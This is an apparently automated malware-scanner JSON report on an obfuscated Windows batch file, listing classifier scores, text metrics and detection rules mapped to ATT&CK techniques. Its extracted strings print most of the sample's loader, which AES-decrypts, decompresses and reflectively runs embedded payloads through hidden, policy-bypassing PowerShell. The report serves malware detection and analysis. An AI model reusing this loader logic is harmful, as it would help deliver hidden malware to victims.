{
  "ml": {
    "v": "5",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 2,
        "threshold": 0.9991885423660278
      }
    ],
    "prob": 1.0,
    "class": 2,
    "level": 3,
    "models": [
      {
        "m": "az",
        "prob": 0.9884106,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 1.0,
        "class": 2
      },
      {
        "m": "az/batch",
        "prob": 0.997449,
        "class": 0
      }
    ],
    "version": "v17.17",
    "threshold": 0.99918854,
    "analyzed_at": "2026-05-31T04:00:29Z"
  },
  "path": "56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d.cmd",
  "raw": {
    "v": "5",
    "fs": [
      {
        "f": "O(As)H(Po₂)",
        "x": 40,
        "ff": {
          "m": {
            "file": {
              "size": 93717.0,
              "entropy": 6.09,
              "size_bytes": 93717.0
            },
            "text": {
              "tab_count": 28.0,
              "digit_ratio": 0.15,
              "space_count": 160.0,
              "total_lines": 109.0,
              "char_entropy": 6.09,
              "unique_chars": 93.0,
              "lines_over_200": 2.0,
              "lines_over_500": 2.0,
              "string_density": 0.94,
              "avg_line_length": 857.81,
              "lines_over_1000": 2.0,
              "max_line_length": 86509.0,
              "empty_line_ratio": 0.01,
              "last_line_length": 86509.0,
              "long_token_count": 2.0,
              "whitespace_ratio": 0.0,
              "most_common_ratio": 0.02,
              "identifier_density": 2.54,
              "line_length_stddev": 8244.36,
              "normalized_string_count": 9.77,
              "suspicious_string_ratio": 0.16,
              "most_common_char_is_null": 0.0,
              "suspicious_comment_ratio": 2.0,
              "max_inline_whitespace_run": 2.0,
              "most_common_char_codepoint": 101.0,
              "suspicious_identifier_ratio": 0.01,
              "normalized_unique_identifiers": 22.61
            }
          },
          "s": [
            [
              23,
              "u8",
              "set \"nHln=Lo\""
            ],
            [
              38,
              "u8",
              "set \"IFqy=nvo\""
            ],
            [
              54,
              "u8",
              "set \"vbTe=lect\""
            ],
            [
              71,
              "u8",
              "set \"fbBG=byp\""
            ],
            [
              87,
              "u8",
              "set \"jeZJ=prof\""
            ],
            [
              104,
              "u8",
              "set \"TpFiMTesqevMcjoaqhyx=echo function decryp\""
            ],
            [
              153,
              "u8",
              "set \"uGCNNguyQmHlVgYXbdBO=t_function($param_va\""
            ],
            [
              202,
              "u8",
              "set \"AYhrGhbWNApcFCpmNSvF=r){\t$aes_var=[System\""
            ],
            [
              251,
              "u8",
              "set \"yFBexkRVlqZnFKWwzkgF=.Security.Cryptograp\""
            ],
            [
              300,
              "u8",
              "set \"eyLpWFFsRLjjIVpUwdUw=hy.Aes]::Create();\t$\""
            ],
            [
              349,
              "u8",
              "set \"qgLwBcwVFSMCLPBaUmhR=aes_var.Mode=[System\""
            ],
            [
              398,
              "u8",
              "set \"EyezhPFKubawqKpYNoNU=.Security.Cryptograp\""
            ],
            [
              447,
              "u8",
              "set \"iJNYZGySuoajVcRSblpM=hy.CipherMode]::CBC;\""
            ],
            [
              496,
              "u8",
              "set \"wMAESqmaADnFymJVLfAA=\t$aes_var.Padding=[S\""
            ],
            [
              545,
              "u8",
              "set \"rNqfaQAnTwWBZbxwjigI=ystem.Security.Crypt\""
            ],
            [
              594,
              "u8",
              "set \"uxrQbuKJtWhVLPuJvuDb=ography.PaddingMode]\""
            ],
            [
              643,
              "u8",
              "set \"PYhdGMFwOmLCZRfTvzeF=::PKCS7;\t$aes_var.Ke\""
            ],
            [
              692,
              "u8",
              "set \"fRUWpaPkGOaOEfSvpnkp=y=[System.Convert]::\""
            ],
            [
              741,
              "u8",
              "set \"PoUgkEWUJBoWqYVYdkOF=('gnirtS46esaBmorF'[\""
            ],
            [
              790,
              "u8",
              "set \"WvQamXYUYKDhpOQRXOML=-1..-16] -join '')('\""
            ],
            [
              839,
              "u8",
              "set \"eVAfzdxGjUrfzEstxTTm=cEoPe6dpwVu7fDERkKyn\""
            ],
            [
              888,
              "u8",
              "set \"FcVZXhHBhdapycBbVKAi=hFR/1EqmZQt/n7wIxJrB\""
            ],
            [
              937,
              "u8",
              "set \"zsKdsyHKwxtdUzfbZAhs=C2M=');\t$aes_var.IV=\""
            ],
            [
              986,
              "u8",
              "set \"wWygTcGxcryNtLNnrRHz=[System.Convert]::('\""
            ],
            [
              1035,
              "u8",
              "set \"zWfJJXuYXzbuDiMDTEjp=gnirtS46esaBmorF'[-1\""
            ],
            [
              1084,
              "u8",
              "set \"RkIfZGJjMRJhTISzQOwW=..-16] -join '')('UD\""
            ],
            [
              1133,
              "u8",
              "set \"IHzCpdklZjuNHrHpoaKd=OjbmgbocvvVyzcITNo4Q\""
            ],
            [
              1182,
              "u8",
              "set \"nlmfQUAUpmNeinHjKgPV===');\t$decryptor_var\""
            ],
            [
              1231,
              "u8",
              "set \"wykDwWzCaDlQetIwvuMu==$aes_var.CreateDecr\""
            ],
            [
              1280,
              "u8",
              "set \"DpWMwqFuJyEhkOGPbJIT=yptor();\t$return_var\""
            ],
            [
              1329,
              "u8",
              "set \"uYTLbWZOFkOqtusgCxgg==$decryptor_var.Tran\""
            ],
            [
              1378,
              "u8",
              "set \"qfSCYdFpMTvMLSaFvkLz=sformFinalBlock($par\""
            ],
            [
              1427,
              "u8",
              "set \"qQOyJoOPwzmDCCCpfrMX=am_var, 0, $param_va\""
            ],
            [
              1476,
              "u8",
              "set \"qKcMPcEBuNLsLHPAruSK=r.Length);\t$decrypto\""
            ],
            [
              1525,
              "u8",
              "set \"pQTmGRjjpLAexOiGNbJH=r_var.Dispose();\t$ae\""
            ],
            [
              1574,
              "u8",
              "set \"KmuIOURVMcXLycIAQPgX=s_var.Dispose();\t$re\""
            ],
            [
              1623,
              "u8",
              "set \"SvlJnHUXyjMpKkacvkyM=turn_var;}function d\""
            ],
            [
              1672,
              "u8",
              "set \"ZoxnNOFugHPYVMPobLvh=ecompress_function($\""
            ],
            [
              1721,
              "u8",
              "set \"ZUwCpIancFfGrtXEYYWy=param_var){\t$OQQuw=N\""
            ],
            [
              1770,
              "u8",
              "set \"bARQuOtXvLbKOrNfRUXe=ew-Object System.IO.\""
            ],
            [
              1819,
              "u8",
              "set \"NrrACjGBPlqcOXfycFiB=MemoryStream(,$param\""
            ],
            [
              1868,
              "u8",
              "set \"odSrEvRaGRMdaRKJiqol=_var);\t$eDfzX=New-Ob\""
            ],
            [
              1917,
              "u8",
              "set \"hSijuYVRlocmLwQKzaWh=ject System.IO.Memor\""
            ],
            [
              1966,
              "u8",
              "set \"rGVXzmcXmvqLrXtwUIWF=yStream;\t$Pftxr=New-\""
            ],
            [
              2015,
              "u8",
              "set \"zZOsOzrEbZkiuhTBXkKh=Object System.IO.Com\""
            ],
            [
              2064,
              "u8",
              "set \"WYEQYrVOcuQQdqHrSCjZ=pression.GZipStream(\""
            ],
            [
              2113,
              "u8",
              "set \"UxVnkhrjdRzKXOJBvYux=$OQQuw, [IO.Compress\""
            ],
            [
              2162,
              "u8",
              "set \"EDBGjufdzBJubLnycrFQ=ion.CompressionMode]\""
            ],
            [
              2211,
              "u8",
              "set \"ZLKlVfSoHfWTiLvrVodQ=::Decompress);\t$Pftx\""
            ],
            [
              2260,
              "u8",
              "set \"coKBieImBkydsDxSSqLd=r.CopyTo($eDfzX);\t$P\""
            ],
            [
              2309,
              "u8",
              "set \"BQvtFPlpqVCNoOOLbjcQ=ftxr.Dispose();\t$OQQ\""
            ],
            [
              2358,
              "u8",
              "set \"xGMwHTBFoCzFDZplSqWs=uw.Dispose();\t$eDfzX\""
            ],
            [
              2407,
              "u8",
              "set \"TtWFILOEPLRJoVGVdZMM=.Dispose();\t$eDfzX.T\""
            ],
            [
              2456,
              "u8",
              "set \"oGaOwXkozCTLmKXdKhOV=oArray();}function e\""
            ],
            [
              2505,
              "u8",
              "set \"eWPCKPrHtuiSDkdmshjK=xecute_function($par\""
            ],
            [
              2554,
              "u8",
              "set \"AAenRfwDYCkWkQHrQxdH=am_var,$param2_var){\""
            ],
            [
              2603,
              "u8",
              "set \"GCVetahcGKLCXdvERCLE=\t$umdfJ=[System.Refl\""
            ],
            [
              2652,
              "u8",
              "set \"sNJQjlHMCLwUeCdXEZTQ=ection.Assembly]::('\""
            ],
            [
              2701,
              "u8",
              "set \"YuXoRIYgvczoMyoTTeVi=daoL'[-1..-4] -join \""
            ],
            [
              2750,
              "u8",
              "set \"tvzUnQxvaxZRJUGYPvZB='')([byte[]]$param_v\""
            ],
            [
              2799,
              "u8",
              "set \"mArAmihGnkezeKxDVcaa=ar);\t$wCVTW=$umdfJ.E\""
            ],
            [
              2848,
              "u8",
              "set \"kCgYcHESRpdyfuVSeZIf=ntryPoint;\t$wCVTW.In\""
            ],
            [
              2897,
              "u8",
              "set \"IRiPtANYwdcMvYqJusxE=voke($null, $param2_\""
            ],
            [
              2946,
              "u8",
              "set \"DpOXgGtKPFzWuUrtuqFC=var);}$yEoUp = '%~f0\""
            ],
            [
              2995,
              "u8",
              "set \"UGvOnqchdlxLCeCtckJM=';$host.UI.RawUI.Win\""
            ],
            [
              3044,
              "u8",
              "set \"gdjREgsAGXpdNUJXTaKQ=dowTitle = $yEoUp;$B\""
            ],
            [
              3093,
              "u8",
              "set \"DmGDhNuqsYqkHSvRwEjg=lEZh=[System.IO.File\""
            ],
            [
              3142,
              "u8",
              "set \"YBBgWuXHuFAbzSjUxGJQ=]::('txeTllAdaeR'[-1\""
            ],
            [
              3191,
              "u8",
              "set \"MciIGfvVySAoRDRbKzGN=..-11] -join '')($yE\""
            ],
            [
              3240,
              "u8",
              "set \"QMVNyoKOJBuQVsuWtTAR=oUp).Split([Environm\""
            ],
            [
              3289,
              "u8",
              "set \"ZcjCflkVbhjXZWaZgvjr=ent]::NewLine);forea\""
            ],
            [
              3338,
              "u8",
              "set \"uGlWyJtyjVIRYPNNDtIn=ch ($vQXry in $BlEZh\""
            ],
            [
              3387,
              "u8",
              "set \"eONBswRYsuPXJjwsQmdv=) {\tif ($vQXry.Start\""
            ],
            [
              3436,
              "u8",
              "set \"RMMfyrYjimwNNWmGSJEc=sWith('uuoNTGQdmxGwo\""
            ],
            [
              3485,
              "u8",
              "set \"RugPgKiPtvXrpmvscIda=NrYAGxC'))\t{\t\t$NjUsU\""
            ],
            [
              3534,
              "u8",
              "set \"xHQfYbkMWPzgHbDxFXZN==$vQXry.Substring(20\""
            ],
            [
              3583,
              "u8",
              "set \"jjQNoexBBUEkGEEkEaQe=);\t\tbreak;\t}}$payloa\""
            ],
            [
              3632,
              "u8",
              "set \"AvSDVRKoIXMfIpRnRdRT=ds_var=[string[]]$Nj\""
            ],
            [
              3681,
              "u8",
              "set \"DJlclpzcwtTFgUnNqmRx=UsU.Split('\\');$payl\""
            ],
            [
              3730,
              "u8",
              "set \"ujSDizBrMrsBjXARkQrF=oad1_var=decompress_\""
            ],
            [
              3779,
              "u8",
              "set \"rHRoegYNceWFltyuQHUM=function (decrypt_fu\""
            ],
            [
              3828,
              "u8",
              "set \"NipfbswiuwCAUlfNsDzb=nction ([Convert]::(\""
            ],
            [
              3877,
              "u8",
              "set \"ANoIuNpPygaDWFSjrLnM='gnirtS46esaBmorF'[-\""
            ],
            [
              3926,
              "u8",
              "set \"KPtGBwKZnLbmhSmaTHLo=1..-16] -join '')($p\""
            ],
            [
              3975,
              "u8",
              "set \"cHKovYDptWvGqMrKuIgX=ayloads_var[0].Repla\""
            ],
            [
              4024,
              "u8",
              "set \"dqBMeNvdsSpKaZKcfekD=ce('#', '/').Replace\""
            ],
            [
              4073,
              "u8",
              "set \"SuFrqvWuBCFkANkLfYjI=('@', 'A'))));$paylo\""
            ],
            [
              4122,
              "u8",
              "set \"DAWBHKFrcoEpyDfILkwI=ad2_var=decompress_f\""
            ],
            [
              4171,
              "u8",
              "set \"RaCQmeknOYWhUBZsydJF=unction (decrypt_fun\""
            ],
            [
              4220,
              "u8",
              "set \"PErnXqMWHCaVBARCYfoC=ction ([Convert]::('\""
            ],
            [
              4269,
              "u8",
              "set \"AsDerxuXDMkHAQTmIoTW=gnirtS46esaBmorF'[-1\""
            ],
            [
              4318,
              "u8",
              "set \"soFlYbFtKxusOgfxbnVA=..-16] -join '')($pa\""
            ],
            [
              4367,
              "u8",
              "set \"VOsVssuLHFTJmsklMrgp=yloads_var[1].Replac\""
            ],
            [
              4416,
              "u8",
              "set \"RamgsRStKvkvstaDWKTF=e('#', '/').Replace(\""
            ],
            [
              4465,
              "u8",
              "set \"HTMeDLfwWTLKhGIVClCA='@', 'A'))));execute\""
            ],
            [
              4514,
              "u8",
              "set \"AabmuyqTsGpcyAIYoiCH=_function $payload1_\""
            ],
            [
              4563,
              "u8",
              "set \"LwxQKAnMLfbKhseGSzJf=var $null;execute_fu\""
            ],
            [
              4612,
              "u8",
              "set \"umepEIlHXJGtJVOeDkCU=nction $payload2_var\""
            ],
            [
              4661,
              "u8",
              "set \"lDimFEUgvcfPyxmzsimb= (,[string[]] ('%*')\""
            ],
            [
              4710,
              "u8",
              "set \"oGPbyHbmDadHWPUReRKZ=); | \"%systemdrive%\\\""
            ],
            [
              4759,
              "u8",
              "set \"OflUERVlJpMvYBGENgOX=Windows\\SysWOW64\\Win\""
            ],
            [
              4808,
              "u8",
              "set \"DIDvYxSJDuvBxmmivUxG=dowsPowerShell\\v1.0\\\""
            ],
            [
              4857,
              "u8",
              "set \"MPDnoIJvipdXcMwgCQWg=powershell.exe\" -nop\""
            ],
            [
              4906,
              "u8",
              "set \"ZmIoUlXLoyjTJilNepgq=rofile -windowstyle \""
            ],
            [
              4955,
              "u8",
              "set \"OxAnqxyLQgGEYrHzhotc=hidden -ep %fbBG%ass\""
            ],
            [
              5004,
              "u8",
              "%TpFiMTesqevMcjoaqhyx%%uGCNNguyQmHlVgYXbdBO%%AYhrGhbWNApcFCpmNSvF%%yFBexkRVlqZnFKWwzkgF%%eyLpWFFsRLjjIVpUwdUw%%qgLwBcwVFSMCLPBaU"
            ],
            [
              7208,
              "base64",
              "뗾!V\u0017U\u0011\u0003"
            ]
          ],
          "v": {
            "file.stem": "56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d",
            "file.basename": "56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d.cmd"
          },
          "id": "batch"
        },
        "id": 0,
        "sz": 93717,
        "ts": [
          {
            "c": 0.949999988079071,
            "d": "Batch extreme line-length bloat",
            "e": [
              "text.avg_line_length = 857.81"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-extreme-line-bloat",
            "l": 4
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "NoProfile flag",
            "e": [
              "-nop"
            ],
            "i": "objectives/anti-static/obfuscation/string/concat::ps-noprofile",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 86509.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "start"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::keyed-temp-payload-launch--rx-1",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8600000143051147,
            "d": "cmd.exe chained shell command",
            "e": [
              "cmd /c \"set __=^\u0026"
            ],
            "i": "objectives/command-and-control/dropper/execution/clickfix::cmd-chained-shell-command",
            "l": 1,
            "m": "B0024"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Last line is over 1000 chars",
            "e": [
              "text.last_line_length = 86509.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "GZip stream copies bytes",
            "e": [
              ".CopyTo("
            ],
            "i": "objectives/command-and-control/dropper/execution/script::ps-gzip-copyto",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Batch unusually low whitespace density",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/anomaly::batch-low-whitespace-density",
            "l": 4
          },
          {
            "a": "T1027,T1112,T1059.001",
            "c": 0.8600000143051147,
            "d": "Batch has near-zero whitespace",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/command-and-control/dropper/staging/embedded::batch-near-zero-whitespace",
            "l": 1
          },
          {
            "a": "T1027,T1112,T1059.001",
            "c": 0.8999999761581421,
            "d": "Batch has long encoded token",
            "e": [
              "text.long_token_count = 2.00"
            ],
            "i": "objectives/command-and-control/dropper/staging/embedded::batch-has-long-token",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive extraction command marker",
            "e": [
              "7z"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-archive-extract",
            "l": 1
          },
          {
            "a": "T1059.001",
            "c": 0.8999999761581421,
            "d": "PowerShell launcher reference",
            "e": [
              "PowerShell"
            ],
            "i": "objectives/execution/interpreter/script/wsh::powershell-launcher",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.4000000059604645,
            "d": "Generic cmd/command/result field word fragment",
            "e": [
              "cmd"
            ],
            "i": "objectives/command-and-control/beacon/network/json::result-command-word",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.8399999737739563,
            "d": "Variable assigned e fragment",
            "e": [
              "RamgsRStKvkvstaDWKTF=e"
            ],
            "i": "objectives/command-and-control/dropper/execution/batch::del-fragment-e-var",
            "l": 1
          },
          {
            "c": 0.8500000238418579,
            "d": "Execute commands via cmd.exe /c",
            "e": [
              "cmd /c \""
            ],
            "i": "micro-behaviors/process/create/shell/invoke::cmd-exe-c-command",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 109.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1204.002",
            "c": 0.8999999761581421,
            "d": "PowerShell archive download tool marker",
            "e": [
              "iwr"
            ],
            "i": "objectives/command-and-control/dropper/staging/archive::powershell-download-archive-tool",
            "l": 1
          },
          {
            "c": 0.20000000298023224,
            "d": "crypto keyword (substr, catches imports)",
            "e": [
              "crypto"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::crypto-substr",
            "l": 1
          },
          {
            "a": "T1620",
            "c": 0.8999999761581421,
            "d": "PowerShell GZipStream decompression",
            "e": [
              "GZipStream("
            ],
            "i": "objectives/command-and-control/backdoor/loader/managed-reflect::ps-gzipstream-decompress",
            "l": 1,
            "m": "B0024"
          },
          {
            "c": 0.699999988079071,
            "d": "powershell keyword",
            "e": [
              "powershell"
            ],
            "i": "micro-behaviors/process/create/shell/lang::powershell-keyword",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Multiple long lines (\u003e1000 chars)",
            "e": [
              "text.lines_over_1000 = 2.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.800000011920929,
            "d": "UPX packer marker string",
            "e": [
              "UPX1"
            ],
            "i": "objectives/anti-static/pack/detect::upx-marker",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.800000011920929,
            "d": "High overall text entropy (encoded",
            "e": [
              "text.char_entropy = 6.09"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::high-text-entropy",
            "l": 2,
            "m": "B0032"
          },
          {
            "d": ".exe extension reference",
            "e": [
              ".exe"
            ],
            "i": "micro-behaviors/fs/path/extension::exe-dup",
            "l": 2
          },
          {
            "d": "powershell.exe executable reference",
            "e": [
              "powershell",
              ".exe"
            ],
            "i": "objectives/execution/interpreter/script/shell::powershell-exe-comp",
            "l": 3
          }
        ],
        "sha": "56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d",
        "path": "56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d.cmd",
        "type": "batch"
      }
    ],
    "tv": "52045"
  }
}